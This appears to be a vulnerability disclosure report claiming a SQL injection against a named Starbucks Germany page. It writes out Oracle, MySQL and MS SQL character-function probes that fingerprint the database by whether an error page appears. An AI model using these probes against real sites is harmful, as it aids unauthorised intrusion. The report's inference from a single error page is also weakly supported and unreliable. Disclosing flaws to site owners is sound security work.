SQL Injection Proof of Concept for Starbucks URL

browser: firefox quantum 60.0.1 64 bit os: windows 10 sqli type: char formula injection info found: oracle database system url: https://www.starbucks.de/coffee/our-coffees/format/whole-bean injected url using oracle concatenation and char functions: https://www.starbucks.de/coffee/our-coffees/format/whole-bean CHR(111) || CHR(114) || CHR(100) || CHR(101) || CHR(114) || CHR(32) || CHR(98) || CHR(121) || CHR(32) || CHR(49) steps to find oracle dbms 1. inject the following url with order by 1 written with char and oracle concatenation resulting in an erronous page, which indicates oracle db is used. 2. https://www.starbucks.de/coffee/our-coffees/format/whole-bean CHR(111) || CHR(114) || CHR(100) || CHR(101) || CHR(114) || CHR(32) || CHR(98) || CHR(121) || CHR(32) || CHR(49) 3.then inject the following url with mysql char using order by 1, which results in no error. so is not mysql dbms. 4. https://www.starbucks.de/coffee/our-coffees/format/whole-beanCHAR(111, 114, 100, 101, 114, 32, 98, 121, 32, 49) 5. finally try and inject with microsoft sql server char injection using order by 1 in char concatenation. which results in no error. so is not a microsoft sql server database. 6. https://www.starbucks.de/coffee/our-coffees/format/whole-bean CHAR(111) + CHAR(114) + CHAR(100) + CHAR(101) + CHAR(114) + CHAR(32) + CHAR(98) + CHAR(121) + CHAR(32) + CHAR(49) description: by process of elimination by error. i was able to figure out which database starbucks is using for that url. basically, the only sql injection code that errored was the oracle char concatenation. leading me to believe that you use oracle dbms. images included attached showing error with oracle sql injection and no error with ms sql nor mysql injection, ## Impact by knowning that the database is oracle this can lead to furthder exploits to gain priviledged information as it is no longer a blind sql exploit. which is a lot easier to deploy. the attacker can now streamline the sql injection to be specifically based on oracle sql syntax.
